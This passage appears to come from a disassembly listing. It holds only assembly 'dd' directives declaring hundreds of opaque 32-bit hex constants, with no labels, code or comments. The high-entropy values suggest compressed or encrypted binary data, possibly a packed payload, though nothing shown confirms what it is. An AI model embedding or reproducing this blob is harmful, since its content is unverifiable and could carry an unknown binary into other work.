		dd 550A64FFh, 0BE33B58Eh, 4BFDB013h, 0BC6BB141h, 0B0E9E005h
		dd 0D6E7C063h, 6A3BB53h, 85375F2Fh, 8CCE5A20h, 0BCA54F27h
		dd 19E3AFD9h, 7BEEB8A0h, 6071AB25h, 0EC1EE24Eh,	592D3F01h
		dd 3521478Eh, 0D28F97C2h, 0CF891DE8h, 0DD7CE916h, 0AC817229h
		dd 60802BABh, 0B8DCEEE9h, 0D2315E0Bh, 92FD80E6h, 0BCC497FDh
		dd 2143B196h, 1165F9C1h, 6A351283h, 0BADD3FFFh,	5C25C7F2h
		dd 0A389AADEh, 9DEECCh,	0F61284B8h, 384FBA55h, 0FC210F2Dh
		dd 185F2559h, 637455Bh,	0F7874CF1h, 0E580064Eh,	7609C301h
		dd 5124E90Bh, 0AF586476h, 62EAAA12h, 0ED693AEh,	5AB75E27h
		dd 27B1EED7h, 23D12316h, 76EC1C2h, 0BC416443h, 7A1F4E26h
		dd 0E9A17897h, 0AD36276Fh, 9FF93F9Ah, 586427h, 37B7BB00h
		dd 15682EDAh, 5318B50Fh, 43587523h, 0E6E70307h,	7B135B18h
		dd 0E00C01F6h, 29684F0Bh, 4C372A6Fh, 321B0AB1h,	1425D220h
		dd 0F819E251h, 8174505h, 11068247h, 5D442902h, 0B50EC4D1h
		dd 585EA439h, 0EEBE52EFh, 0C460CC2Dh, 8FA982E3h, 2AE6555h
		dd 6F6B6852h, 0AB827971h, 40312615h, 5D1195C8h,	14E9F2Bh
		dd 6F685F44h, 5B54D03h,	0EBD8832Bh, 0C8E501CAh,	0E5407516h
		dd 0CC0A8EBAh, 0CA81035Bh, 3E8217Fh, 44AF0C04h,	389C14A8h
		dd 0D1590576h, 0C2D0F77Bh, 0C775D73Ah, 57748732h, 0F3C33F40h
		dd 41D2273Bh, 480740C1h, 5716A613h, 0DDAC46B5h,	0DEEE90Ch
		dd 0BA77B1AEh, 7E07D44Bh, 0C8013704h, 0F6AB753h, 0F5EBB99Dh
		dd 0BE0331F0h, 3BD437B0h, 8F82801h, 0F46EBFC2h,	30E95209h
		dd 0EBEDD423h, 11043D5Eh, 1BC17C0Ah, 0A8045896h, 5BACD875h
		dd 2FE91255h, 4F4F4FBh,	0E56A8B41h, 6F4ACDC3h, 0DAEDB104h
		dd 5701DFE2h, 5D367868h, 871CF84Eh, 4AEF85C0h, 0BF483B33h
		dd 882ACFAh, 625FDC02h,	8B4009FAh, 7C91D8D7h, 909C89F2h
		dd 0CD73C74Fh, 58EA760Bh, 367E7C1h, 0C1CE0506h,	102F26D0h
		dd 48520C80h, 5351144Bh, 94A9683Eh, 13C420B5h, 66531644h
		dd 0C71015BDh, 0E3462E7Bh, 1350C403h, 0F7F6B017h, 7C4C345Fh
		dd 0AD72C4DCh, 22D69EFBh, 0F0D82E0h, 4AC40A32h,	98574344h
		dd 45178CD7h, 8DA95D77h, 0DEA5EF02h, 625FA10Bh,	0D286FFDAh
		dd 240BB647h, 41BB06Fh,	0CCBEC554h, 704E9E8Ah, 0A8846FE2h
		dd 0E25390CDh, 50265657h, 9B00540Ch, 0E93B122Ch, 421D4EC5h
		dd 3F4745F2h, 56C7C5E0h, 58F05417h, 84033EDh, 0E30830E9h
		dd 199C655h, 8672C528h,	4F042501h, 968CE92Eh, 1459943Eh
		dd 0EC4FC5ECh, 0FEF75E49h, 0C1B58C5Ah, 9CF3E409h, 6C1E80DAh
		dd 4A7E282Dh, 177B94Eh,	64A33C2Fh, 6E7C06E9h, 16085E24h
		dd 0E5CCBB9Ch, 0B56B4A56h, 78666501h, 63D1B241h, 324C74C5h
		dd 0BD26CC88h, 0A818285Fh, 5914E818h, 0C18F482Ch, 5300043Ah
		dd 0C3FE7BB3h, 0B5065166h, 0A88BE934h, 915D4B52h, 221652Eh
		dd 0FB845F09h, 7BCEBC7Dh, 27D0E856h, 0BCE6685Dh, 2DEE9FCEh
		dd 0BD18D120h, 0B5F06DF8h, 2ECA6AF5h, 913E267Ch, 0B00B69B3h
		dd 5708BC54h, 0BDB5C355h, 0B4BD8648h, 0E699EA09h, 25EC0D7h
		dd 5003EAC0h, 2C61B014h, 0CD181A99h, 905BFA29h,	91672F47h
		dd 0DB48EE51h, 0E0AF6626h, 8BC336B4h, 0F94ABAB8h, 0D84B497Bh
		dd 92B89000h, 0F4637043h, 1179280h, 2068565Ch, 317A3613h
		dd 0AFE7153Bh, 0A2274BC0h, 0E8890259h, 1C0835Dh, 1F5FF95Dh
		dd 710BACC6h, 43B33A8Fh, 0EB4EFF4Fh, 216AC95Ah,	0C791E9FDh
		dd 0ED9A2668h, 0C1886F10h, 222F4C9Fh, 0F097789Fh, 0BCFE20F2h
		dd 79F1801Ch, 9420BDFCh, 0D295E56Bh, 536C08h, 0C94763BAh
		dd 0EA48C15Ch, 4EA5164Ah, 26E071E5h, 7D8FB841h,	16714AD5h
		dd 0D342E675h, 263DD708h, 60570CAAh, 0B15B4917h, 5FE9C699h
		dd 57BEAD11h, 0A39BA3BBh, 8BBF1600h, 515DF00Fh,	1EC00BB9h
		dd 45D538D6h, 50A4A2h
		dd 45CE48C3h, 0BB7E8E9h, 0E045FED8h, 5E5068F1h,	0A08D993h
		dd 5A088B51h, 43C5FFF1h, 4F299BD1h, 5C9A1168h, 1F824E63h
		dd 555C147Dh, 0D233E8EFh, 0D6496980h, 0F332874Ah, 854B0646h
		dd 18F5D8BBh, 57C5C13Bh, 86F6D625h, 264FDB08h, 43AC259Ch
		dd 47F82124h, 0F7F53B5Eh, 42E90800h, 0B6A4A806h, 3C3F131Dh
		dd 5EA0031h, 2D3E4FDEh,	740583E2h, 0D02911B3h, 81373C4h
		dd 0C8A346ABh, 53EC9594h, 0A9B6B05Ah, 8527257Ah, 7B4E59A0h
		dd 0E0BD70D3h, 0B8E6C171h, 14C60169h, 0E9539D1Fh, 74823B89h
		dd 0E4AC5E5Ch, 95E90330h, 280A1A8Ah, 2BFDC2D3h,	3800FD0Dh
		dd 1BD93385h, 66CC6814h, 4D5D4A9h, 6F625BDCh, 0F36A6BAh
		dd 0A130449Dh, 33A4E951h, 0E1C458h, 0F7110C07h,	0CB814BDBh
		dd 9E600D0Bh, 488FC1Ah,	0BA83F17Dh, 0EB84150Ch,	5FF99D5Ah
		dd 75E3A43Dh, 5CD976AFh, 6BCE5995h, 0B03294D7h,	0F4C441D7h
		dd 3C3D209Eh, 147C2C6Ah, 6DCF9AB0h, 0B8695A7Eh,	20824805h
		dd 0DDF713AFh, 4A51014Dh, 3BCC28DFh, 0F37EDA89h, 84BDD6C8h
		dd 0CD0AA885h, 0FA9DE0A1h, 5AD95495h, 0EEEB820Ch, 929A902h
		dd 41F2892Bh, 225458F4h, 0BE4048FCh, 0BD3EE179h, 26AA8911h
		dd 5CFA296Bh, 0A034E389h, 21B0EB41h, 0F8307656h, 89099DCDh
		dd 85DACAFCh, 2AA3DEC7h, 19122F0Ch, 154AE782h, 520E8ECCh
		dd 8004D6B7h, 0C2364775h, 0B0575A73h, 0BFD8AA21h, 0F72F0BE4h
		dd 128A60DAh, 200A2EDFh, 6C9F0370h, 0F2E10E24h,	6DDFEB16h
		dd 2B9835EAh, 0E9E0ACB8h, 0F8BAF3D3h, 78555777h, 6C862AE4h
		dd 2D037B70h, 0AF3F562h, 0B099BC28h, 0D0FED613h, 98F10521h
		dd 299FEC02h, 0C13158C2h, 1D220F9Ch, 6F17C302h,	0C6D70214h
		dd 3B7AC9BFh, 0EB813674h, 65E16DF4h, 188E3082h,	6BC06BD2h
		dd 0C0A7C4EAh, 6B6889BFh, 2D14E618h, 2BE8D5FBh,	3C2D093Fh
		dd 1F00F57Ch, 2E70A06h,	23B8DBF0h, 17F5072Eh, 5450A769h
		dd 85865EC3h, 1279E3ABh, 612EB29h, 0F76B33E1h, 9FBF1304h
		dd 520382A7h, 765374BAh, 0BCC7E00Fh, 4A65AB25h,	0E90801EAh
		dd 0CC7EFA69h, 1F12DBE8h, 8026D55h, 0DA6863C8h,	8ED51E6h
		dd 172ACD21h, 0C6FCF39Ch, 9AC7103Eh, 0FCEE2027h, 0E049AA90h
		dd 0A40B5EB0h, 0CBADFD1h, 0E877C855h, 0E9098536h, 5A69258Ah
		dd 203BDAAAh, 0E99C0B09h, 3FD6B8F3h, 863500BDh,	5550594Dh
		dd 18579868h, 0DC5D2349h, 623B207Ch, 27E50256h,	603F9325h
		dd 2E2C262Bh, 8A7C5803h, 9FDC631h, 0AE5130A3h, 0EC0CF396h
		dd 1E8014CFh, 56C0F1C9h, 1CECF406h, 0BA00E696h,	60ED4081h
		dd 95D14889h, 3E74C9E0h, 563F2E03h, 0C207A5BEh,	42DA7708h
		dd 4768590Bh, 6AE83048h, 429EB64Ch, 0D81ABA52h,	7E769F5Ch
		dd 0B0C65569h, 8205544Fh, 0DFA65857h, 0EE05654Ch, 0A963B25Eh
		dd 7C084124h, 30CBD01Ah, 88CDC1ADh, 3DD52768h, 2604DDD8h
		dd 0EDC17C39h, 90D748C2h, 1769B9FEh, 0E816B676h, 21E1007Bh
		dd 0E962D477h, 4F8561E2h, 0E104E4F3h, 7CECED22h, 7C5C2FCDh
		dd 9B368C79h, 1401C729h, 5073FB7Eh, 2E20F889h, 62BC4A41h
		dd 0CC7529F2h, 0F9874A2Fh, 1B8AD637h, 69ACBF00h, 0BD5577EEh
		dd 3461330Bh, 53B0B79h,	0EC4487BBh, 0FB80505Fh,	7DE20722h
		dd 2B555934h, 6CB6BF31h, 4F383846h, 0C2078F85h,	2CA52658h
		dd 22403CD3h, 0C60EA3F8h, 6562B960h, 0EFBF309h,	6360C1FFh
		dd 0D119E94Eh, 88CB89Ch, 74069A50h, 663C484Dh, 2630D40Ah
		dd 3E063BE0h, 9E4ED137h, 0DE139F1Dh, 5BDD2945h,	1EACA52h
		dd 80EBB7B8h, 0E9732073h, 5A7B994Dh, 47118FADh,	0B7488474h
		dd 9E5D5109h, 0B9E913FDh, 0C4D8AC9Fh, 85A23FA1h, 0E7ED2C78h
		dd 60D3A803h, 4FBD0C0Dh, 4048AA21h, 969D3D62h, 36010765h
		dd 12BF390Ah, 63336900h, 38262598h, 0AD9789F6h,	117408AFh
		dd 0BF196027h, 56603F59h, 4521BE9Ch, 0BA32CFE9h, 7D84CB32h
		dd 0ED520B04h, 2F6AB631h, 13BA09EDh, 1B2DC066h,	4054B27Eh
		dd 919668Ah, 9E90D4Fh, 74C091C2h, 75824A40h, 2E3A4DC9h
		dd 9D28FFA0h, 784B1758h, 8744D6C3h, 3658CE9Eh, 0B5786BFDh
		dd 8347775Bh, 26358369h, 0C86112C9h, 8C340159h,	3B160447h
		dd 7D25DC1Eh, 6F5D16B9h, 409711D8h, 0B81D66B7h,	350E1E2Dh
		dd 0D1FBE65h, 993D4D9Fh, 0A5085525h, 58B32360h,	0F8F49443h
		dd 53CB4AFAh, 0A8C0292Dh, 75026BBFh, 5F68D922h,	62C6D60Eh
		dd 9F0F9362h, 0F722A689h, 0CCE3BB6h, 1AAF89E9h,	0C7F5456h
		dd 546AD843h, 0F071DEB5h, 0B84D08E9h, 0F0F41EE3h, 0C95D7209h
		dd 913FE8ABh, 79B776C6h, 81AFD263h, 48A0C955h, 0F2605AF7h
		dd 0EA29597Ah, 0D621275Dh, 68962898h, 7A122B2Ah, 4ABF7A9Fh
		dd 392DB26Eh, 0B1BF3A80h, 28400ACAh, 3813F47Ch,	0E0F3C9B7h
		dd 0D493C3E8h, 9B94E40Dh, 420AF53Fh, 0DAE3F80Ah, 8441C6F8h
		dd 0E2A10D4Fh, 232DC83Eh, 0AE5B3977h, 0FB247DE9h, 581610D1h
		dd 0DA407E8Ah, 0C086130Ch, 4D72E8E8h, 5F5F2FF0h, 0BA7DB416h
		dd 20EB6CBDh, 0B805C243h, 1956F68h, 966904EFh, 85570983h
		dd 0D0BAECE2h, 7013BA56h, 2D27A5Ch, 0E037E2EAh,	82B0D629h
		dd 47C69A8Eh, 0D320D970h, 75898D2h, 7D5915B3h, 0A6A73F5Ah
		dd 0E4D70B1Eh, 21512530h, 273EABF9h, 0BF677C52h, 7EF76A19h
		dd 0C6F93E5Bh, 15208990h, 0EA4B01FCh, 3EA52091h, 0D4C1B72Ch
		dd 3E8FC193h, 8E3B74C1h, 0B98BC510h, 0D38A5128h, 0F92FCE41h
		dd 0B49810FCh, 0F1865803h, 848D6F6h, 17374D60h,	4444015Ah
		dd 8A1F12AEh, 0BD95D4C5h, 0C2E41CADh, 47EDFA4Ah, 8BDDD38Bh
		dd 4EC47F3Ch, 739B6815h, 0DEE9165Ch, 20AB5E84h,	0C837BE52h
		dd 3EE0694Ah, 1F172D68h, 80CFD77Eh, 0E9284472h,	0A2C95B93h
		dd 0A840D346h, 112F3154h, 3AB84850h, 0C114771Ch, 13D23473h
		dd 7F0FF1E9h, 8C7216D7h, 0F56685F6h, 7A47C9EEh,	5C8428B8h
		dd 0C487B839h, 4018AE64h, 0BB80E22Dh, 13657DE4h, 4EBC148h
		dd 1381DC95h, 73DE2A01h, 0C42F7B82h, 0DE98AA66h, 4BE3BFD8h
		dd 0E1DFF604h, 0A3BE83C7h, 0DCBA0357h, 13A4867h, 0F507330Ch
		dd 43D70128h, 9877786h,	2DB8675Fh, 0DDFE965Fh, 0AD6804E6h
		dd 3838FA3Fh, 419D4C0Bh, 0FA0487A5h, 0FAEE032Ch, 57F9122Fh
		dd 105A2052h, 7E9FF170h, 425F7AF1h, 5B10692Fh, 0BABB253Ah
		dd 0FAB4F6E2h, 5954AA44h, 837B102Ah, 49535425h,	6C04C292h
		dd 1BB877CAh, 4A51AEC1h, 9BA02B2Eh, 0E90FC2AAh,	0BC713E89h
		dd 225E801Eh, 16F460CEh, 122A8EBBh, 67AEC3A8h, 0FDCCA32Dh
		dd 2768F609h, 62C3D454h, 9E7D0F2Ah, 4BC290A9h, 0CDE8C5E8h
		dd 0E0A3EC23h, 12CB64B5h, 357D3668h, 0EA89BAB0h, 0E8D2960Ah
		dd 1468C26Ch, 8AFD5179h, 40577DAEh, 5C037F3Ah, 56425A05h
		dd 12AF33E9h, 0BD8EEBAEh, 4ED0E90Ch, 0C55A01CDh, 0C45F23F2h
		dd 9589AF33h, 8540B8C9h, 91E711E9h, 5FC8C03Dh, 21254D53h
		dd 418351EAh, 2E08E2C1h, 0E91ADFB3h, 0C6F70DCDh, 3954A07Ch
		dd 6C759CB1h, 2BE9C0CAh, 5ADB5430h, 354F1AEAh, 627D0BDFh
		dd 55A29AC2h, 0BD2C0C46h, 70C38D6Dh, 0E2113B45h, 0EDFB498h
		dd 5DAE5D5Eh, 4406E91Ah, 0D4F01091h, 575A80B5h,	49527EEh
		dd 8C804FA0h, 9DD0FA51h, 0EE8C5C1Bh, 0C260E8D9h, 44862471h
		dd 606D02AAh, 0CE722A63h, 0F7E90880h, 0DF31B24Fh, 680050FBh
		dd 260E52E0h, 3F4D5D1Bh, 0E0524C53h, 83B408AFh,	9F87C625h
		dd 0CD8B6B73h, 77C829F8h
		dd 0B2A5BC38h, 4455FC97h, 0E14AB1E4h, 6C8F2057h, 9C703E32h
		dd 7B137DAAh, 56F046D8h, 49B1294Eh, 66E90801h, 0B07E51BAh
		dd 582D1FB0h, 809F1235h, 8E6C1A9h, 0FC0B0298h, 8BF3AC77h
		dd 550D8B4Dh, 40979F6Eh, 836B9216h, 4FB9BF7h, 0EB80F501h
		dd 3CCC001h, 50C2C4D0h,	0BC21012h, 773360F3h, 4B39F48Ah
		dd 54362000h, 6895629Bh, 2C0ED069h, 20E1114h, 7B527DBBh
		dd 7C25C5FCh, 38532858h, 0FF4A9E5Fh, 0B58A592Ch, 0F32D4C80h
		dd 157A1C58h, 14A71830h, 0B55BF820h, 0FF1CD758h, 0C3169B2Ch
		dd 0C70A23AAh, 75E0062Fh, 0A898E02Eh, 731E1E2Dh, 7B0D81h
		dd 38F342EBh, 50933B05h, 50859CCDh, 0B4847563h,	4A5F28EFh
		dd 5020AFF6h, 0B0C4FE6Dh, 26BABC80h, 4BD60B6Ch,	184E6546h
		dd 0CA299E07h, 8490F073h, 0D26DA2BBh, 76DEC802h, 0FBE1E039h
		dd 52FA38E9h, 3235AA4Bh, 48C433BCh, 3462CD7Ch, 0FCB70CACh
		dd 0D08364FDh, 3544E9C3h, 0F6062097h, 12604130h, 0FAF3892Dh
		dd 0CB3EBDCAh, 65A2761Eh, 0B52C4E7Ah, 42259719h, 2C7853CCh
		dd 2E8402C4h, 0C05732BDh, 0EA02E532h, 54890D5h,	1C651E6Bh
		dd 68F90529h, 0BDF3AB60h, 880C3D02h, 81D8426Bh,	46CE91Ch
		dd 0A99937C9h, 7716ABB4h, 68093B65h, 2BC7BA9h, 46FF124Ah
		dd 3E71DE80h, 0E9256BDEh, 0AE2B785Bh, 6307F877h, 0FD303EEFh
		dd 0E12C5BF0h, 0D3FDE8E0h, 0EB59E528h, 0B73C6344h, 666B8CF9h
		dd 58DCB5C4h, 401456A5h, 4EB61A15h, 0AE5F94A0h,	0EF187167h
		dd 104A46D3h, 48D66C88h, 5A211083h, 0BFB0005Ah,	164746DDh
		dd 0D0F78101h, 97599F58h, 7BCFD8D9h, 27E11714h,	68D20BB0h
		dd 0E3B10F68h, 0EA254382h, 501776D5h, 0B1B7C583h, 0EC7B55F0h
		dd 95E98233h, 12FAE8DBh, 0DEDE635Fh, 0F5093BA0h, 0F63A1B68h
		dd 45756B52h, 6AE90B7Dh, 7E2FF876h, 0AECB62AFh,	575E8907h
		dd 680B96BDh, 0B6734F18h, 7926E941h, 0E5C6C981h, 0ED4E8B58h
		dd 130C3C7Ch, 0FCF8C468h, 1E70B9C0h, 0FC802043h, 5EB3245Bh
		dd 8FFA1E4Ah, 0BC651D62h, 1094ADAFh, 2C1CAD1Bh,	281483C5h
		dd 0BEA504D8h, 345E4A02h, 4C0D535h, 93CDA109h, 0D500CB66h
		dd 259942B7h, 72504F3Bh, 0CF81021Eh, 29070E04h,	0FA6A4980h
		dd 0E9EE0C97h, 0EFCB74D9h, 0B93067ECh, 24800C7Eh, 0E9621341h
		dd 6838420Eh, 2B663ED2h, 0D34C22B7h, 7932771Bh,	0A3204E6Eh
		dd 0F5213BDEh, 0F887B793h, 0F28ED843h, 984CE43Eh, 17EA0ED5h
		dd 42DD3F35h, 0C3016DEh, 0E3A5840h, 156E00Bh, 0F13B80D5h
		dd 0FD7B8B6Ah, 76311D4h, 3DE9490Ch, 69510B85h, 6B742D8Fh
		dd 0F1025D6Bh, 0ADD41EE9h, 0E539CC3Bh, 0F3B9B652h, 17F26D84h
		dd 4B2231EFh, 94492434h, 64D75918h, 586F43C8h, 0EA12E096h
		dd 5674282Ah, 0F8CE8927h, 0ED5959BCh, 8991552Fh, 51F5EA5Dh
		dd 97D6ADB3h, 79417389h, 6B81902Fh, 0CF6CF536h,	74E95512h
		dd 0C2B8E5C0h, 87222C34h, 2B2A3ED5h, 5B5F48DFh,	0A16AD104h
		dd 8BD4EA6Bh, 5D590809h, 0F4A7C9C7h, 0AD2F4230h, 12E78100h
		dd 6FAF245Bh, 5E3A021Bh, 34E1058Bh, 97F97DD7h, 0ED022DA8h
		dd 1648D18h, 0F6347F7Ch, 0C23025F1h, 258B40FBh,	3A458409h
		dd 4245820Fh, 0ED65DDF5h, 0D1F76909h, 92DA2DE1h, 79EBDB31h
		dd 0D7C23C3Ah, 44CAE353h, 98685643h, 0BE06966Ah, 0F1FC974Eh
		dd 17E67B73h, 70201422h, 54562CD0h, 0F80F1283h,	0F7E5DE41h
		dd 73965E94h, 5F648C48h, 432C2DA5h, 55B24ED4h, 0B7CDD2DDh
		dd 6FB41741h, 0F4A4B204h, 76C78100h, 3A50A5ACh,	91CFCC7h
		dd 0F4A70F89h, 974F09D1h, 1A31ACC6h, 5B5D4EE5h,	0AC2B8131h
		dd 4BE9BC80h, 5B19CA89h, 50E828BFh, 0AD06802h, 84584052h
		dd 0A51D82D0h, 39AB1C77h, 0DE06F331h, 0A0C09CE9h, 0C5EE1390h
		dd 9C01BFD2h, 4F371C49h, 8218F6ECh, 0F6528C5Fh,	0D4102E06h
		dd 29C70E6Bh, 220ECE2Bh, 14D9B86Bh, 68877418h, 8C674E92h
		dd 5F4E9DF3h, 2078CEA2h, 5A5F9853h, 935E9B0h, 90F371Eh
		dd 0BCC15062h, 6ABE00DDh, 4A491B39h, 0FCBDB053h, 63FC4AF1h
		dd 8F4930B2h, 87C07E29h, 4C080305h, 2806DF01h, 0CC1A9164h
		dd 0DDEDB602h, 0C2F9299Fh, 0B75077CFh, 0F8B2E14Eh, 0A47974C1h
		dd 3E046F5Ch, 88A4AEC6h, 43632FB3h, 662D3A65h, 0C8292C43h
		dd 3B31083Fh, 0C6D7BE01h, 816FABD2h, 6F0406CCh,	0CA0B98C5h
		dd 16A583Fh, 524C65BDh,	41EB2142h, 21148B5h, 893F545Eh
		dd 0B05D0768h, 80841CFFh, 0EB01C05Ah, 51C3FE06h, 3F828B5h
		dd 0D52FC147h, 0CCD3C580h, 0E89D1CEDh, 95AB3BE8h, 120974D3h
		dd 40E6322Ah, 8613070h,	0D629191Eh, 0D4900820h,	3379C539h
		dd 8C5A1C58h, 9E8193ABh, 0EE0901ACh, 8CDC15Dh, 1381F02Bh
		dd 72ABD35Ah, 717D5F45h, 0BA907A81h, 2FC05C2Dh,	359FE2EEh
		dd 0E8094BE5h, 0DF4018B6h, 9FD00166h, 7C25A3F0h, 633C5913h
		dd 8376DEC2h, 8E810B4Bh, 50C2F9B7h, 978BF620h, 0CB48445Ah
		dd 54E1399h, 10AF6E12h,	9A27F445h, 3B7ED30Fh, 43139D96h
		dd 613AF569h, 16FE1410h, 0EDD0553Bh, 0CAD25A1Fh, 0B3C710F6h
		dd 0EDF3387Bh, 0E8734B73h, 1DE1F26h, 34FC6F97h,	0F40DC44Bh
		dd 6C417719h, 0D306371h, 0F1392D12h, 0B43F307Fh, 0E83B2F1Bh
		dd 0B8D76942h, 0A4849E6Bh, 44AF0BA7h, 0E3F4161Bh, 1AC0E016h
		dd 76A7BAh, 0CA8154BCh,	48A91603h, 0CB424A38h, 0F3643AF0h
		dd 15BE0105h, 0EF35F262h, 0F3DE5CE2h, 60E1F5E9h, 5DA16AB0h
		dd 0E062BD6Fh, 0A89F44E9h, 7669BABh, 0D33156EFh, 28863A5Ah
		dd 55E80BFDh, 7F064146h, 214CB591h, 0DAF71ED8h,	4580F292h
		dd 1369F680h, 1D6BB151h, 0E8902D8Dh, 49004DBDh,	0BE56160Eh
		dd 168D4CA4h, 0BBF5312Eh, 60E9DA28h, 7FB9955Eh,	72DA815h
		dd 292BDF29h, 8098EDC4h, 8B91975Fh, 673363FAh, 59781262h
		dd 7ACA3103h, 0A9EF5B17h, 2CAA5A9Ch, 1009BA16h,	0D04C0C2Fh
		dd 0C2811C45h, 1F6B4418h, 0E11EC242h, 0B49A6803h, 9FD496C8h
		dd 55C9BA1Bh, 0BABB0015h, 0E1AC4A37h, 7F003A57h, 7EB56FF1h
		dd 1ECF30E9h, 846B9BFh,	81641A01h, 655816E1h, 13E9D060h
		dd 0B19537Bh, 9294468h,	66692AD1h, 0B1E9177Dh, 1920F9A8h
		dd 77F1C667h, 55B7ABFEh, 0B5A14F0Ch, 0C614FA1Eh, 2AC9328Dh
		dd 5C51826Ah, 3055626Ah, 281CEE12h, 41FB0B10h, 0E1542BF7h
		dd 291A3068h, 3B404BCDh, 0C50212F1h, 36E53852h,	0B1132A74h
		dd 8DE191ABh, 975E235h,	889088Fh, 8CAE5D16h, 335A2D42h
		dd 0E1EB3624h, 40D0F13Fh, 8724094Ch, 0EB046076h, 20A6963h
		dd 4ACF1BFh, 58538B08h,	77B38F15h, 0A3113B62h, 0A1C480A0h
		dd 442FE288h, 0AAD30D3Bh, 3434F6E3h, 0A3B5BB9Dh, 17C41520h
		dd 0AC07612Fh, 1E005EAh, 75FC3D3Eh, 0C1D1E24Bh,	53194779h
		dd 68570600h, 7C0027ECh, 0DA2D5F59h, 1454501Ch,	705F829h
		dd 4E7EA25Bh, 3F9310A4h, 2D7D9D45h, 78DCDA5Bh, 0D6C93D50h
		dd 443BB177h, 0BAD0FEF4h, 1AC00DA0h, 105C2901h,	7955D41h
		dd 88EEDF94h, 2D0E6657h, 0A3574A96h, 0CA6CB9BFh, 0BE697153h
		dd 0FE7EB81Dh, 40AFBB3Dh, 0E916DC54h, 68E680ABh, 572CBEEFh
		dd 5B804FC6h, 0E93A1C7Ah, 8C654A36h, 91F3266h, 99493E38h
		dd 6385F4D3h, 0FA84BA1Ah, 9292A6B6h, 9E6A718Eh,	0E9E226F1h
		dd 2F0976E8h, 0E918923Ch, 0F329B54Ah, 0E57F76EAh, 5DAAB645h
		dd 1BB089A8h, 973DD97Ch, 15A863BAh, 6BEFB9E0h, 86984F76h
		dd 0CE0B8F09h, 32800068h
		dd 0C16DC07Ah, 8511280Ch, 0ABE12F21h, 6B1B7240h, 0D08ACB96h
		dd 0E0BA88C0h, 1127901h, 6504F281h, 0B7ED2FDh, 470231A7h
		dd 0B84873E9h, 0C524685Ch, 56515638h, 68C04822h, 48AE0F83h
		dd 0CC2D5800h, 0E9143F3Eh, 0BD8A70EBh, 0F165A0DEh, 6C67CA21h
		dd 3B0D1F82h, 8BD7781Fh, 0B15D0C2h, 70345737h, 0F66FA1F5h
		dd 88C5D90Fh, 0CD2AF16Ah, 251B71EAh, 9422203Bh,	93CF173Eh
		dd 0E705EDD1h, 8ABFB499h, 527C6068h, 2B1D9F68h,	9FFF414Dh
		dd 19A9B387h, 0C24627B9h, 0CB14F1F5h, 7D2BCC5Dh, 29F05AE9h
		dd 1E0CA506h, 0E9530B3Eh, 5148F5BFh, 18B705C0h,	82963107h
		dd 173A70DDh, 0B8749768h, 0D7EFA148h, 68FB8982h, 0DD7C5E1Ch
		dd 259C52E9h, 317E51F8h, 25446072h, 452D8089h, 393A4D1Eh
		dd 0ABBCC717h, 49556304h, 0AF87800Dh, 0AA5E1EE2h, 0C1C24884h
		dd 2EBF00DEh, 4C48203Ch, 0C3D609A0h, 0C59780DFh, 4CCA1FD7h
		dd 9D40C70Bh, 452A1461h, 33038702h, 0E973EC64h,	0A1949682h
		dd 0DBA717B4h, 2874492h, 0FA3C81E9h, 4DCA0CF6h,	3A7C2B33h
		dd 0D4CCB216h, 314804BFh, 4C8513E7h, 0D4EFE7FBh, 0AA6517DAh
		dd 0F12EC8AEh, 0A349FA7Bh, 0C1B70431h, 0EE82F730h, 957C4C2h
		dd 358465D8h, 201C0E0Ah, 6BA79D08h, 0B90E4813h,	0B440045h
		dd 9ACF8957h, 0E25948B7h, 2B7D5E06h, 3470966Eh,	36C3Eh
		dd 423C1DE5h, 25E94D79h, 31749D2Ah, 1A0F246Fh, 6C9C0D00h
		dd 0F7127A0Eh, 7C4255D0h, 6067B978h, 3E02EAE5h,	0C604149h
		dd 1D2B319Ch, 0F07CDD80h, 0D5892772h, 1772142Eh, 3849AE05h
		dd 98927059h, 27D40E24h, 0E5A43204h, 645FA4CCh,	61D11B13h
		dd 0AB5FABA8h, 1AE0E56h, 771AC52h, 3040804Dh, 29327801h
		dd 7C3590F1h, 665D3087h, 8B77FA68h, 0CF064976h,	6E5B70F3h
		dd 0F9898084h, 3242C0Bh, 6252894h, 5F19FDC5h, 70EF5845h
		dd 0DC5B4B4Dh, 0E14FBFE8h, 7E696141h, 0BA9671F6h, 0B681CA61h
		dd 9221372Fh, 475F3935h, 10582667h, 92775C0h, 80E492A4h
		dd 6359477h, 3906B061h,	0A44C6F10h, 6877CB03h, 0E3E0333Bh
		dd 0CA3C1150h, 76F6965Ah, 0EFB40060h, 0BDED4BF5h, 0D0FD16FBh
		dd 0F4A6BCh, 8F27968Ch,	0A1B83166h, 48A17B4Bh, 0D2A4AC6Fh
		dd 62903709h, 0C0C5F798h, 0A71F5325h, 0E93C1877h, 342EB77Ch
		dd 0C26223C0h, 0C87D29C0h, 2B9C3234h, 0DF121BA3h, 293CAE6Bh
		dd 26CE50D2h, 5D17065Ch, 0CAD1010Eh, 0CCF7088Bh, 14163722h
		dd 0CABF5099h, 0A9D4D23Dh, 2D3B5AAh, 0CD66C4D4h, 0D868F3B1h
		dd 9267702h, 8E71F571h,	663AC632h, 0B85003BEh, 6AC737EEh
		dd 61DFD9F2h, 18815B58h, 61084B32h, 1273CC2Dh, 6E351800h
		dd 5303D33h, 0A045171Bh, 0C6E4B1F1h, 3A0751DFh,	0FB68DD85h
		dd 9E13BBE3h, 73C0F8E2h, 0E936711Dh, 4E81555Dh,	0F5E5C0D2h
		dd 0CE4E7FD3h, 0B231C02h, 0B3C8C659h, 91D7CEAh,	933F2913h
		dd 41AD5F0Ch, 0F40B980h, 0E4B74A72h, 68A088B4h,	953F70DDh
		dd 5F7A41DCh, 2345E579h, 70EBA5C8h, 170B257Bh, 408C328h
		dd 0B3473368h, 2AA070B8h, 5B3852EAh, 44F85A9Ah,	0F6AAB781h
		dd 0B3A6E4D7h, 162528C0h, 0F4663B5Bh, 948C4B88h, 0F2A580F6h
		dd 7A2E334Ch, 8025D870h, 651CBE56h, 0BB2B5E41h,	31F8F253h
		dd 7E15D406h, 0D6030C5Eh, 89AECDD3h, 0E91200F2h, 3C452F21h
		dd 564CD129h, 0E64E2D8Bh, 56324FDBh, 7B71BFF3h,	907AA2DCh
		dd 8890B56Ch, 3915D09Dh, 0AF66EF3h, 7543E949h, 86EF9C9Fh
		dd 8D2F7D5h, 426241FAh,	5DD9301Ah, 702636E5h, 4A57E950h
		dd 4921BAE5h, 303A7656h, 127B5965h, 29903659h, 0E958E651h
		dd 3DE15B82h, 0C3412098h, 0A1B272DDh, 0E545F75Eh, 4A1E6807h
		dd 0FFCE5D0Bh, 0BC2FE918h, 9707A325h, 0E020C247h, 7EB56670h
